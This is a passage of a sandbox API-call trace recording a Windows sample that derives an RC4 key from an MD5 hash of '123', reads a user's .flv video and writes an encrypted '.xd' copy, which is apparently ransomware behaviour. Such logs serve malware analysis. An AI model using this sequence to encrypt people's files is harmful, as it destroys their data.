wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.794] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.794] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.794] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.794] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.794] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.794] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.795] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.795] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.795] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.795] CryptCreateHash (in: hProv=0x17aabc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.796] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.796] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629700, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.796] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.796] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.796] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.797] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.797] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.798] CryptHashData (hHash=0x164c530, pbData=0x1629660, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.798] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.798] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.798] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.798] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.798] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.798] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.799] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.799] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621630, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.800] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.800] CryptDeriveKey (in: hProv=0x17aabc0, Algid=0x6610, hBaseData=0x164c530, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0065.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.801] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.802] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.803] CryptDestroyHash (hHash=0x164c530) returned 1 [0065.803] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.803] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.804] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pmmm9p4.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.805] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.805] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.805] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.806] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.806] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.806] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0065.808] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pmmm9p4.flv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.809] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.809] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.809] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.809] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.816] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.816] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xc2b4, lpOverlapped=0x0) returned 1 [0065.822] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.826] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.826] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.826] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.826] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.830] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.830] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.830] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.830] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.830] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.830] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.830] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.830] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.831] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.831] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.831] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.831] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.881] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.881] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.881] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.882] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.882] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.882] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.882] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.882] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.882] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.883] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.884] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.884] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xc2b4, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc2c0) returned 1 [0065.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.884] CharLowerBuffW (in: lpsz="byte[49857]", cchLength=0xb | out: lpsz="byte[49857]") returned 0xb [0065.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.886] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.886] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.886] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 